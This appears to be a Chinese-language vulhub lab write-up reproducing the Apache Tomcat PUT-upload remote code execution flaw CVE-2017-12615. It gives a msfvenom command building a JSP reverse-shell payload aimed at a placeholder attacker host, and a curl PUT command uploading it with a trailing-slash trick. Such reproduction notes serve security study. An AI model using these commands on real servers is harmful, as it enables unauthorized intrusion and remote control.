# Apache Tomcat 远程代码执行漏洞 CVE-2017-12615

# 漏洞描述

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

# 影响版本


# 环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
1
2
3

cbe1eedd-5a2a-4147-b44c-d2789769015f

# 漏洞复现

漏洞产生的主要原因来自于conf/web.xml文件配置错误,readonly开启了false,导致可以使用PUT/DELETE请求方法操作文件

291a35c3-469d-48b6-a65d-92270dfe6024

msf生成一个jsp木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp
1

利用PUT方法上传木马

curl -v -X PUT --data-binary @shell.jsp "http://xxx.xxx.xxx.xxx:8080/shell.jsp/"
1
注意 http://xxx.xxx.xxx.xxx:8080/shell.jsp/中的最后一个"/"字符很重要

成功上传木马文件

a963d85c-3514-490e-905f-1b6193c75adf

访问文件即可反弹一个shell